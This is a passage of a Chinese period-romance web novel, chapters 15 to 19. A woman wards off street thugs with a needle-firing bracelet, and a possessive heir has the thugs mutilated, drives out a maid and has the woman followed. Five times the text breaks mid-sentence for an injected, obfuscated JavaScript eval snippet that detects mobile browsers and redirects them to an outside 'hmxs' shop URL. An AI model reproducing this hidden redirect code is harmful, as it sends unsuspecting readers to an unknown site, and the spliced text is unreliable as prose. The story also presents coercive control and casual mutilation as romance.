“哟,这是哪家的小娘子,生得真标致......” “一个人多寂寞,陪哥哥们玩玩?” 污言秽语伴随着酒气扑面而来,姜于归脸色一白,心脏骤缩,下意识地后退,后背却抵上了冰冷的墙壁。 “你们......你们别过来!” 姜于归强自镇定,声音却带着一丝颤抖,下一刻,她的手悄悄缩回袖中,摸到了腕上那个林晏送给她的,看似普通实则内藏乾坤的银镯。 林晏当时说,他要跟随钦差返京,担心他孤身一人不安全,所以留此物给她防身。 那时候姜于归还故意叉着腰说,在遇到林晏之前,她一个人也在清溪镇活着好好的。 而林晏只是叹息的摸着姜于归的头,而后将镯子戴在了姜于归的手上。 “可我心里总是不放心的,你带着这个,我心安一些。” 而姜于归没想到,现在这个镯子就碰上用场了。 暗处,容璟派来的两名暗卫眼神一厉,手已按上了腰间的短刃,蓄势待发。 就在其中一个混混□□着伸手欲抓姜于归肩膀的瞬间—— “咔!”一声极轻微的机括响动。 “啊——!”其中一个混混猛的弯腰捂住眼睛,发出一声凄厉的惨叫,指缝间已有鲜血渗出! 一枚细如牛毛的银针,正正钉入了他的眼球! 另外两人被这突如其来的变故惊呆了。 姜于归趁此机会,强忍着心中的恐惧和恶心,将镯子对准另外两人,声音冷了下去:“再上前,下一个就是你们的眼睛!” 那两人看着同伴在地上打滚哀嚎,又见姜于归手中那不起眼的镯子竟如此厉害,酒醒了大半,脸上露出惧色,一时不敢上前。 暗卫见状,互相对视一眼,眼中闪过一丝惊讶,随即悄然退回了阴影,并未现身。 其中一人打了个手势,另一人点头,迅速转身,如鬼魅般朝国公府方向掠去。 ...... 书房内,炭火静静地燃烧。 容璟正在批阅公文,门外传来长青低沉的声音:“世子。” “进。” 长青推门而入,面色平静无波,躬身禀报:“世子,姜姑娘在回府途中,于杏花巷被三个地痞拦路。” 容璟执笔的手猛地一顿,一滴浓墨猝然滴落在雪白的宣纸上,迅速洇开一团丑陋的污迹。 他抬起头,眸色在瞬间变得深不见底,周身的气息骤然冰冷:“她人呢?” 声音里听不出情绪,但那份几乎要凝滞空气的压迫感,让长青的头垂得更低。 长青语速平稳:“姜姑娘无恙,暗卫本欲出手,但姜姑娘自己化解了危机。因为她腕上戴着一只镯子,内藏机括,发射银针,伤了一人眼睛,震慑住了其余两人。” 镯子?机括? 容璟眼底闪过一丝极快的讶异。 容璟立刻明白那镯子究竟是个什么的物件儿,再次开口,声音恢复了平日的淡漠,却带着一丝不易察觉的冷峭。 “想必是军器监的东西,名叫袖里星,有十发暗器,威力尚可。” 不过容璟竟从未留意过她腕上还有这样一件东西,他已经查过姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868608|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于归的过往,就是一个普通的孤女,不可能会有这样的物件儿。唯一能让她接触到这种东西的人...... 是了,一定是林晏送的。 而且,这绝不可能是上次探监时送的。 牢狱搜查严格,根本带不进去。 这只能是林晏当初离开清溪镇时,担心他走后姜于归一个孤女会有危险,特意留给她的! 那个看似风光霁月的探花郎,倒是心思缜密,连这等防身之物都为她备好了。 林晏倒是费心了。 一丝混合着不悦和了然的情绪掠过心头,他不悦于林晏的周到。 “还有。” 长青上前一步,将一枚小巧的,珍珠点缀的银质耳环轻轻放在书案上:“这是姜姑娘受惊时,不慎掉落的。” 那是一枚很简单的白色珍珠耳钉,不大,光泽温润,就像它的主人平时表现出来的那样,低调,不惹眼。 容璟的目光落在耳环上,顿住了。 鬼使神差放下手中的东西,伸出手,用指尖拈起了那枚耳环。 冰凉的金属触感,却仿佛带着一丝灼人的温度。 容璟合拢手掌,将耳环紧紧攥住,对着长青道:“知道了,下去吧,今日之事,守口如瓶。” “是。” “等等。” 容璟再次叫住长青,目光依旧看着掌心的耳环,语气轻描淡写,却字字透着血腥气。 “去查清楚是哪三个杂碎,找到之后......” 容璟顿了顿,抬起眼,看向长青,那双平日里温润如玉的眸子里,此刻是毫无温度的,属于上位者的漠然和残忍。 “拔了舌头,废了手脚,找个由头,流放到北境最苦寒的矿场去。” 他淡淡地吩咐,仿佛在说一件再寻常不过的小事:“做得干净点,别让人查到国公府。” “是。”长青面无表情地领命,对于这种命令,他早已习以为常。 长青退下后,容璟眼底的冰寒仍未散去。 他如此重惩那几个混混,与其说是为姜于归出气,不如说是在清洗自己的领地。 任何胆敢触碰他所有物的爪子,都必须被彻底碾碎。 这是一种威慑,更是对自身绝对权威的再次确认。 书房内重归寂静,容璟摊开手掌,看着那枚珍珠耳环,目光深沉。 16. 第 16 章 他为什么要留下它? 容璟自己也不清楚,只是一种下意识的占有行为,如同野兽在领地留下气味。 这是从事故现场带回的,独属于他的证物,证明着这场意外以及他随之而来的绝对处置权。 他沉默地将耳环握在掌心,那细微的棱角硌着他的皮肤。 容璟的目光落到手边的,那个装着姜于归写给林晏书信的抽屉,看着手心那枚小小的,却有些让他心烦意乱的耳钉,容璟再次有些粗鲁的打开抽屉,“啪——”的一声把东西丢进去。 但是下一刻又觉得不妥,把东西重新拿出来,又拉开旁边另一个空的抽屉。 空荡荡的抽屉只有这枚孤零零的耳钉,容璟“啪——”的一声将抽屉合上,仿佛要锁住什么不该有的心思。 随即,他起身,整理了一下衣袍,脸上那冰冷的戾气瞬间消散,重新挂上了那副温润如玉的浅笑,抬步朝着姜于归所住的客院走去。 ...... 姜于归回到房间,心脏还在砰砰直跳。 虽然化解了危机,但那份惊吓和后怕依旧萦绕不去。 她坐在桌前,脸色有些苍白,正准备倒杯水压惊,就听到了轻轻的叩门声。 “姜姑娘,是我,容璟。” 姜于归一愣,连忙起身开门:“世子?” 门外,容璟一身月白常服,身姿挺拔,眉目温和,带着关切的神情:“我听下人说,你回来时脸色不太好,可是慕容二老那边......” 容璟的话语未尽,满是体贴。 姜于归心中顿时一暖,又涌起一股愧疚。 她不想给容璟添麻烦,但此事若隐瞒,那些混混敢在天子脚下闹事,万一那些混混有背景,后续找麻烦牵连到国公府就糟了。 而且,容璟知道了,才能有所防范。 姜于归请容璟进屋,将方才在巷子里遇到的事情,略去镯子细节,只说用防身之物吓退了歹人,简明扼要地说了一遍。 容璟听完,眉头微蹙,脸上适时地露出庆幸与后怕之色:“竟是如此!万幸姑娘无事!都怪我考虑不周,不该让你独自出行。” 接着,容璟语气诚恳,又带着自责说道:“此事姑娘不必再忧心,我会处理干净,绝不会让任何人因此事打扰到姑娘和国公府的清静。” 容璟的承诺沉稳有力,极大地安抚了姜于归受惊的心,她真心实意地道谢:“多谢世子。” 容璟目光温和地看着她,仿佛不经意般扫过她的耳畔,语气带着一丝恰到好处的讶异:“咦?姜姑娘,你耳上的坠子......似乎掉了一只?” 姜于归下意识地摸了摸耳朵,果然只剩下一只。 想必是当时受惊躲避时掉落的,姜于归有些惋惜,那对耳环她挺喜欢的。 “可能......是不小心掉在路上了。” “原是如此。” 容璟从袖中取出锦盒,笑容温雅,眼底却是一片深沉的算计:“说来也巧,前日得了这对小玩意儿,觉得尚可入眼。方才听闻姑娘受惊,便想着,与其让姑娘惋惜那只遗落的旧物,不若换个新的,也换个心境。” 锦盒打开,里面是一对翡翠滴珠耳环,玉质莹润,雕工精细,一看便知价值不菲,远比她丢失的那对贵重百倍。 姜于归吓了一跳,连忙摆手:“这太贵重了,世子,我不能收......” 容璟笑容不变,语气却带着一种不容拒绝的温和力量:“姑娘与我,何必如此见外?你孤身在外,受此惊吓,我既受林晏所托,照顾不周已是愧疚,若连这点安慰都不肯收下,倒真是让我无地自容了。况且,不过是些身外之物,姑娘安然无恙,才是最重要的。” 容璟一番话说得滴水不漏,既全了朋友之谊,又表达了关怀,更将贵重的礼物轻描淡写为小玩意儿和身外之物。 姜于归推辞不过,加之容璟态度真诚,她若再拒绝反而显得矫情和不识抬举,只得再次道谢,收了下来。 容璟看着她收下耳坠,唇角的笑意加深了些许,又温言安抚了几句,便起身告辞。 离开客院,走在回书房的长廊上,容璟脸上那温和的笑意如同潮水般褪去,眼底只剩下一片冰冷的幽暗。 他回到书房,长青已经候在那里。 长青的声音没有任何起伏:“世子,那三人已处理干净。按您的吩咐,拔舌,废手脚,今夜就会押送出京,前往北境黑水矿场。” “嗯。” 容璟淡淡应了一声,走到窗边,望着窗外沉沉的夜色:“传话下去,以后京城内外,尤其是国公府周边,眼睛都放亮些。若再有类似不长眼的东西,惊扰了......府上的客人,下场犹如此例。” 他的声音很轻,却带着一种令人胆寒的戾气。 “是。” 长青垂首,明白从今日起,那位姜姑娘在世子心中的分量,已然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868609|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同。 所谓的林晏托付,不过是一块遮羞布罢了。世子真正在意的,是那个人本身。 容璟站在那里,许久未动。 他指望着北境苦寒的朔风,能磨碎那些杂碎卑贱的骨头。 而他心底那股因姜于归遇险而被彻底激发的,混杂着暴戾与独占的欲望,却如同黑暗中疯长的藤蔓,再也无法轻易压下去了。 他清楚地知道,有什么东西,已经不一样了。 姜于归受惊之后,连续两日没有踏出国公府的大门。 那日巷子里的遭遇像一层无形的阴影,笼罩在她的心头。 虽然容璟世子保证已经处理妥当,但那份后怕依旧如影随形。她待在客院里,写写字,看看书,却总有些心神不宁。 第三日一早,之前与她相熟,常一起研究菜式的张嬷嬷,笑着来到了客院。 “姜姑娘,这两日怎不见你来厨房?可是身子不适?” 张嬷嬷笑容淳朴,带着关切:“老婆子我新得了一方南边来的糕点谱子,看着怪新奇的,一个人琢磨不透,想着姑娘见多识广,一起来参详参详?” 看着张嬷嬷热情的笑脸,姜于归心头的阴霾散去了些许,一直闷在房里确实无益,或许找点事情做,转移一下注意力,更能驱散那份惊悸。最重要的是,了解一下盛京之中达官显贵的口味,学学这里的菜也不错。 姜于归扬起一个浅笑,应了下来:“嬷嬷说笑了,我哪里算见多识广,不过是互相学习罢了,好我也闲着,便去叨扰嬷嬷了。” 厨房里一如既往地暖意融融,弥漫着食物特有的香气,让人安心。 姜于归洗净手,熟练地挽起袖子,和张嬷嬷一起站在宽大的案板前,对着那本有些泛黄的糕点谱子研究起来。 “这说要先发面,水温得恰到好处......”张嬷嬷一边念叨,一边和姜于归一起揉着面团。 气氛融洽,仿佛回到了之前的时光,姜于归专注着手下的面团,感受着面粉在指尖的触感,心情渐渐放松下来。 就在这时,张嬷嬷的目光,自然而然地落在了姜于归挽起袖子后露出的手腕上,那里戴着那个样式别致的银镯子。 张嬷嬷语气随意,带着纯粹的好奇:“说起来啊,老婆子我之前就想问了,但又怕唐突。姜姑娘这镯子的样式真是别致,我活了这么大岁数,还没见过这样的花纹呢?瞧着......不像是咱们盛京流行的款式。” 17. 第 17 章 姜于归心下微微一惊,面上不动声色,正想含糊地应付过去:“是么?也就是寻常......” 然而她话未说完,张嬷嬷那还沾着些许面粉的手,已经带着厨娘特有的,不见外的热络,轻轻握住了她的手腕,低头仔细端详起来。 “哎呀,你看着边缘,这雕花,真是精细!” 张嬷嬷啧啧称赞,手指摩挲着镯子表面的纹路:“还有中间这颗小宝石,颜色真透亮!这看着......像是能活动的机括?” 姜于归的心提了起来,下意识想抽回手:“嬷嬷,这......” 可她的话再次被打断了,张嬷嬷似乎完全被好奇心驱使,粗糙的手指顺着纹路摸索,力道不经意间加大,正好按在了镯子上某处隐秘的凸起上! “咦?这是......” 就在张嬷嬷疑惑出声的瞬间—— “咻咻咻——!” 连续几声极其轻微却锐利的破空声骤然响起! 姜于归大惊失色,几乎是本能地,猛地将手腕转向无人的方向! “小心——!” 她的惊呼与暗器发射的声音几乎同时响起! 几道细小的黑色影子擦着张嬷嬷的耳畔疾射而过,带起几缕断发,最终发出好几声闷响的声响,深深地钉入了后方用来悬挂厨具的厚重木柱之上! 尾端犹自微微颤动! 厨房里瞬间陷入一片死寂。 方才还洋溢着暖意和生气的空间,仿佛被瞬间冻结。 张嬷嬷脸上的血色霎时褪得干干净净,她猛地松开了姜于归的手腕,像是被烫到一般,踉跄着向后倒退了好几步,差点摔倒在地。 她惊魂未定地扭头,看向木柱上那几枚深入寸许,闪着幽光的细小暗器,又回头看向脸色同样苍白的姜于归,嘴唇开始不受控制地哆嗦起来。 “姜......姜姑娘......饶命......老奴......老奴不是故意的!老奴就是看着新奇,没想到......没想到这......这......” 她语无伦次,吓得几乎要瘫软下去,眼看着就要跪倒在地。 姜于归也彻底惊住了,她看着木柱上那几枚显眼的暗器,又低头看向自己腕间瞬间变得轻巧了许多的镯子,心猛地沉了下去,沉入了冰冷的深渊。 林晏送给她的,用来防身的,仅有的十枚暗器,就在这突如其来的意外中,瞬间耗光了。 虽然镯子本身还在,但失去了暗器,它很大程度上,真的就只是一个普通的,甚至有些沉重的装饰品了。 一股难以言喻的失落和心痛攥紧了她的心脏。 这不仅仅是失去了防身之物,更像是......失去了某种连接,某种保障。 可是,看着眼前吓得魂不附体,满脸惶恐绝望的张嬷嬷,想到她平日里待自己的亲厚和直爽性子,姜于归知道,这确实是一场无心之失。 张嬷嬷只是好奇,绝无恶意。 一股深深的无力感和疲惫感涌上心头,几乎要将她淹没。 她还能说什么呢? 厉声责怪一个并无恶意的老人?还是向一个厨娘解释这镯子的来历和它对自己的重要意义? 似乎无论怎么做,都只会让眼前这尴尬而惊悚的局面变得更加复杂,更加难以收场。 罢了...... 事已至此,追究无益,反而会吓坏这位真心待她的老人。 姜于归深深吸了一口气,强行压下心头翻涌的涩意,弯下腰,伸手扶住了几乎要跪下的张嬷嬷。 “嬷嬷,快别这样,快请起。” 她的声音带着一丝不易察觉的颤抖,却努力维持着平稳:“不碍事的,真的不碍事。只是......只是一个小机关,怪我没有提前告诉你,吓着你了,该是我向你道歉才是。” 她用力将双腿发软的张嬷嬷扶稳,脸上挤出一个宽慰的笑容,尽管那笑容有些苍白。 可是周嬷嬷依旧惊魂未定,看着姜于归,又看看那柱子上的暗器,眼泪都快掉下来了,连连摆手,声音带着哭腔:“不不不,是老婆子我的错,是我手贱,是我没规矩......姜姑娘,你没事吧?有没有伤着你?我真是......我真是该死啊......” 她反复地道歉,懊悔不已。 姜于归心中酸涩,却只能再三温言安抚,表示自己真的没有怪她,让她不要放在心上。 直到姜于归保证了许多次无妨,张嬷嬷才勉强止住了恐慌,但依旧惴惴不安,手脚都不知道该往哪里放,再也无法专注于之前的糕点制作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868610|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 姜于归看着嬷嬷这副模样,自己也没有了任何心情。 她简单地洗了手,对着依旧惶恐的嬷嬷柔声道:“嬷嬷,我有些累了,先回去歇息了。这糕点,我们改日再试吧。” 说完,她几乎是逃也似的离开了这个让她窒息又伤心的厨房。 回到客院,姜于归独自坐在窗前,看着腕间那枚仿佛失去了灵魂的镯子,怔怔出神。 林晏将它戴在她手上时,那担忧又不舍的眼神,仿佛还在眼前。 “可我心里总是不放心的,你带着这个,我心安一些。” 可现在......她却没能保护好他留下的这份心安。 一种莫名的空虚和不安,悄然蔓延开来。 这一整日,姜于归都郁郁寡欢,连晚膳都只用了几口。 然而,善良和体贴终究还是占了上风。 翌日,姜于归犹豫再三,还是再次去了厨房。 她虽然因为暗器被意外消耗而心痛难当,心存芥蒂,但更怕自己昨日之后不再出现,会让张嬷嬷多想,心中更加愧疚难安。 尤其是昨日暗器发射后,她立刻就离开了,会不会让嬷嬷觉得她是在生气? 她不想因为一场意外,失去一个真心待她的长辈,也让对方背负上沉重的心理负担。 可是,当她踏入厨房,习惯性地寻找那个熟悉的身影时,却并没有看到张嬷嬷。 厨房里其他仆役各自忙碌着,一切如常,仿佛什么都没发生过。 姜于归心下诧异,拉住一个相熟的帮厨小丫鬟,轻声询问:“请问,张嬷嬷今日是休假了吗?怎不见她?” 小丫鬟眨眨眼,回答道:“姜姑娘还不知道吗?张嬷嬷家里突然有急事,昨日傍晚就向管事请辞,已经离开府中,回老家去了。” 回老家去了?! 这么突然? 姜于归愣在原地,一股说不清道不明的寒意,顺着脊椎悄然爬升。 昨日午后发生意外,傍晚就请辞离开?这......这未免也太巧合,太迅速了! 她心中的疑云瞬间升腾,弥漫开来。 是嬷嬷因为太过害怕和内疚,无颜再留在府中?还是......另有原因? 一种模糊的不安感瞬间涌上她的心头。 18. 第 18 章 正当她心神不宁,站在厨房门口不知所措之际,一名容璟身边的小厮快步走来,恭敬地对她行礼。 “姜姑娘,世子请您去书房一趟。” 姜于归的心莫名地紧了一下。 书房里,地龙烧得正旺,暖意袭人,与姜于归心中的微凉形成对比。 容璟依旧是一身月白常服,坐在书案后,手持书卷,眉目温和,气质清雅,仿佛一幅精心绘制的君子临窗图。 见姜于归走来,他放下书卷,唇角含着一抹令人如沐春风的浅笑。 “姜姑娘来了,快请坐。” 他语气温和,先是主动提起了前几日姜于归遇险的事情。 “今日请你过来,是想告诉你,前几日在那巷子里冒犯你的那几个不成器的东西,已经被京兆尹府抓捕归案,按律处置了。你不必再为此事忧心。” 他看着姜于归,眼神带着恰到好处的关切,“我见你这两日没有再出门去慕容府,可是心中还有些余悸未消?若是如此,我让长青再多陪你几次。” 他的话语体贴入微,充满了保护意味。 姜于归垂下眼眸,避开了容璟那过于温和的视线,指尖微微蜷缩,轻声回答:“劳世子挂心,我已经......没事了。” 姜于归没有直接回答是否害怕,潜意识里回避了这个让她感到些许脆弱的问题。 容璟眼底闪过一丝极快的了然,但他没有追问,正准备再说些宽慰的话,却见姜于归忽然抬起头,秀眉微蹙,带着一抹显而易见的担忧,轻声询问道。 “世子,我方才去了厨房,听闻张嬷嬷突然请辞离开......此事颇为突然,您可知她家中是出了何事?为何离开得如此匆忙?” 她终究还是问出了口,带着对老人的关切,和一丝连她自己都未曾完全明晰的探究。 容璟闻言,脸上恰到好处地露出一丝惊讶,随即,那惊讶慢慢化作一声带着些许无奈,甚至......一丝若有似无失落的叹息。 他抬眸看向姜于归,目光幽深,带着一种评估猎物反应般的审视。 容璟缓缓开口,声音依旧温和,却像裹着丝绒的冰:“姜姑娘......我原以为,经过这些时日的相处,你应能明白,在这里,你的一切动向,都理应在我掌控之中。” 他看着她疑惑的神情,眼底掠过一丝极淡的不耐,但很快被更完美的温和覆盖。 “府中下人行事不当,让你受了惊吓,你却没有第一时间告知我。这让我......有些意外。” 姜于归心下一紧,立刻想到定是厨房其他仆役看见,报告了管事,管事又禀告了容璟。她连忙解释道:“世子误会了,张嬷嬷她并非有意,只是无心之失,而且我也并未受伤......” 容璟却轻轻抬手,用一种温和而不容置疑的姿态,打断了姜于归的解释。 “无论是否故意,让你受惊,便是她的过错。她心中自知有愧,无颜再留,自行请辞,也算是知晓分寸,懂得规矩。” 见姜于归眉头依旧紧蹙,脸上带着不忍和愧疚,容璟又放缓了声音,继续补充道:“你也不必为此事过于内疚。张嬷嬷年事已高,家中早有儿孙,本就计划着就在这一两年内回乡养老,含饴弄孙。此次不过是顺势而为,提前了些许时日罢了。她的离去,与你并无直接关系,府中也按照规矩,给了她足够的赏银和补偿,足以让她安度晚年。” 容璟试图用早有计划和丰厚补偿来减轻姜于归的心理负担。 可姜于归想到张嬷嬷昨日那惊恐的模样,再联想到她如此迅速地离开,心中那份违和感与愧疚感,并未完全消散。 “可是......” 她还欲再言,容璟却微微向前倾身,目光坦诚而恳切地看着她,语气变得郑重起来。 “姜姑娘,或许你会觉得我有些不近人情,但还请你体谅,我执掌这偌大国公府,有些规矩,不得不立,有些界限,不得不守。” 他将话题提升到了管家和规矩的层面。 容璟条理清晰,声音沉稳:“这是其一。你是客,张嬷嬷是仆。仆役未经允许,擅自触碰,探究客人的贴身之物,这本就是大忌,严重逾越了身为仆役的本分。这次她冒犯的是你,你性子好,不予计较。 可若他日,她仗着在府中资历老,失了敬畏之心,冒犯了其他更为尊贵的客人,或是做出什么更不堪的事情来,那我荣国公府的脸面与规矩,岂不是要沦为整个上京的笑柄?” 容璟将府誉和规矩摆了出来,瞬间将个人情感好恶,拔高到了家族管理和声誉维护的高度,显得公事公办,有理有据,无可指摘。 姜于归听着,无法反驳。 高门大户,规矩森严,她确实没有立场去质疑容璟的管理方式。 “这其二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868611|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 容璟的语气微微停顿,看向姜于归的目光更加真诚,甚至带着一丝不容错辨的责任感,语气更是带着一种不容置疑的权威:“更重要的是,你是我请进府的客人。让你在我的地方受惊,挑战的是我的权威。至于林晏......” 他恰到好处的顿了顿,留下一个意味深长的空白,才继续道:“我自有交代,但前提是,你必须在我的规则内,保持安然无恙。” 容璟把林晏抬了出来。 这一下,彻底堵住了姜于归所有想为张嬷嬷求情或表达愧疚的话。 是啊,容璟是看在林晏的面子上照顾她,如果因为她而使得国公府规矩败坏,或者她真的出了什么事,容璟确实无法向林晏交代。 姜于归不能让自己的事情,成为朋友的负累。 见姜于归彻底沉默下去,纤长的睫毛垂下,掩去了眸中复杂的情绪,容璟知道,他的话起了作用。 他总结道,语气恢复了之前的温和,带着一种处理完麻烦事后的从容:“所以,于公于私,张嬷嬷都不能再留。让她以此种方式离开,已经是看在她在府中侍奉多年,一直勤恳本分的份上,网开一面了。你也无需再为此事烦忧,过去了便过去了。” 姜于归还能说什么呢? 她只能微微颔首,低声道:“世子思虑周全,是于归......欠考虑了。” 姜于归接受了这个解释,或者说,她不得不接受。 只是心底某个角落,那份关于镯子意外被触发的疑云,以及张嬷嬷迅速离开的巧合,并未完全散去,只是被暂时压了下去。 她告诉自己,这就是高门大户的生存之道,规矩大于人情。 容璟身为世子,管理着偌大的府邸,若不立威,不严守规矩,如何服众?如何持家? 她一个借住的客人,确实没有资格去质疑主人的治家之道。 只是,那份初入国公府时对容璟纯粹的感激,似乎在不知不觉中,掺入了一丝若有若无的,对权势和规矩的敬畏,以及一丝连她自己都未曾清晰感知到的,微妙的疏离感。 她依旧感激他,但那份感激里,多了几分谨慎。 而端坐在上的容璟,将姜于归细微的情绪变化尽收眼底。 他知道姜于归并未完全释怀,但这不重要。 重要的是,那个属于林晏的,碍眼的防身之物已经失效。 19. 第 19 章 更重要的是,容璟用自己的方式,再次明确了在这座府邸里,谁才是绝对的主宰,谁才能给予她真正的保护。 至于那份可能萌芽的疏离......正合他意。 他有的是时间和手段,将这份疏离酿成恐惧,再将恐惧熬成依赖。 他要让姜于归清醒的意识到,脱离他的规则,才是最大的危险。 窗外的阳光透过窗棂,照在他温润如玉的侧脸上,投下一片明暗交织的光影。 国公府的日子安全,衣食无忧,容璟世子更是关怀备至。 可不知从何时起,姜于归对这座繁华似锦,规矩森严的府邸,生出了一种难以言喻的敬畏。 这份敬畏,不同于初来时的陌生与感激,它更像是一张无形却密不透风的网,悄无声息地笼罩下来。 府中下人训练有素,言行举止皆有章法,连脚步声都放得极轻,仿佛生怕惊扰了什么。 这种过分的井然有序,透着一股子不近人情的冰冷。 张嬷嬷事件的余波犹在姜于归的耳边。容璟那句于公于私,张嬷嬷都不能再留,这话说得在情在理,无可指摘。 姜于归理解高门大户的规矩,明白容璟作为世子的难处。 可理解归理解,一想到一位侍奉多年的老人,只因一场无心之失,便如此迅速彻底地消失在眼前,她心里终究是落下了一个疙瘩,泛起丝丝凉意。 姜于归开始清晰地意识到,这里并非她的归处,她只是一个格格不入的客。 客随主便,便要守着主人的规矩,承受主人权衡之下的任何结果。 这种认知让她感到一种前所未有的不自在,仿佛呼吸都需要比别人更小心翼翼。 想要离开的念头,便是在这种不自在的土壤里,悄然破土而出的。 可是,离开国公府,又能去哪里呢? 盛京茫茫,她一个孤身女子...... 然而,盛京并非清溪镇,她一个孤身女子,能去哪里?上次巷子里的遭遇瞬间浮现在脑海,那几个地痞浑浊淫邪的眼神,污言秽语,以及银针入肉时的惨叫...... 姜于归下意识地打了个寒颤,一股寒意从脚底升起。 独自在外,安全无疑是最大的问题。 一个念头本能地冒了出来:慕容府。 林晏的祖父祖母在那里。 林晏的祖父母年事已高,经历此番打击,这个年必定过得凄清孤寂。 两位老人慈祥而哀恸,那里有林晏的气息,有她熟悉的牵挂。若是能住到慕容府附近,甚至......住进慕容府里。 一来可以更方便地照顾二老,陪伴他们度过这个注定凄凉的寒冬年节,略尽心意,二来,慕容府虽不如国公府显赫,却也是清流门第,至少能震慑那些宵小之徒。 这个想法带着温暖的诱惑,让姜于归的心跳都快了几分。 然而,现实的冷水紧接着便泼了下来。 她以什么身份住进去?林晏的未婚妻? 一个无亲无故的姑娘家,没名没分地住进男方家中,即便慕容二老不介意,外界那些流言蜚语,足以将她和林家都淹死。 “没名没分,就上赶着住进男方家里......” “一个孤女,不知廉耻,攀附权贵......” 仿佛已经能听见那些尖酸刻薄的窃窃私语和指指点点的目光。 姜于归的脸颊瞬间烧了起来,那是羞耻和难堪的温度。 她与林晏虽两情相悦,互许终身,但终究未曾明媒正娶。若她此刻住进慕容府,外人会如何看她?会如何议论慕容家?会如何......玷污林晏的清名? 不!不行。 姜于归用力摇头,将这个刚刚萌芽的,带着一丝软弱和依赖的念头狠狠掐断。 她不能给林晏抹黑,不能让他身在牢狱,还要因她而蒙受非议。 可是,想离开的心,一旦生出,便再也难以平息。 既然不能住进慕容府,那就在慕容府附近找个地方住下总可以吧? 这个折中的想法,让姜于归看到了一丝曙光。 既能在一定程度上保障安全,方便探望二老,又能保有自身的独立和清誉,不至于惹人闲话。 至于生计......她还有手艺,总能想办法在盛京立足,开一家小酒肆的梦想,或许可以提前筹划起来。 这个计划像暗夜里的一簇火苗,虽然微弱,却足以驱散一些盘踞心头的阴霾,带来些许自主的暖意。 于是,从那次之后,姜于归出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868612|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门便多了一项不为人知的任务。 除了去慕容府探望,她开始有意无意地流连于慕容府周边的街巷,留意那些贴在墙上的招租启示,甚至,她鼓起勇气,踏进了几家牙行。 她小心翼翼,装作只是随口打听的模样,询问着附近房屋的租赁情况和价格。 盛京居,大不易,尤其是慕容府所在的清贵地段,租金之高,让她暗暗咋舌,以前在清溪镇开十里香赚的钱,若是没有住在国公府而是自己租住,再者寸土寸金的盛京,根本过不了多久。 但这并没有完全打消姜于归的念头,反而让她更认真地开始盘算自己的积蓄,以及未来营生的可能性。 她不知道的是,她这一切自认为隐秘的行动,都如同透明的水迹,清晰地映在了暗处那双始终注视着她的眼睛里。 ...... “她去了西市的‘诚信牙行’,询问了慕容府后街槐树胡同的一处小院,月租五两银子。出来后,又在慕容府西侧夹道巷徘徊许久,看了两处招租的帖子。” 书房内,暗卫的声音平静无波,将姜于归今日的行程巨细靡遗地禀报给容璟。 容璟坐在书案后,指尖正捻着一枚上好的墨锭,在端砚中缓缓研磨。 动作依旧优雅,不见丝毫紊乱,但书房内的空气,却仿佛在暗卫话音落下的瞬间,骤然凝滞,沉甸甸地压了下来。 她想走? 这个认知,像一道冰冷的铁箍,骤然勒紧了容璟的心脏。 不是疼痛,而是一种所有物即将脱离掌控的,纯粹的暴戾。 他提供了庇护,默许了她的一切,她竟敢想着逃离? 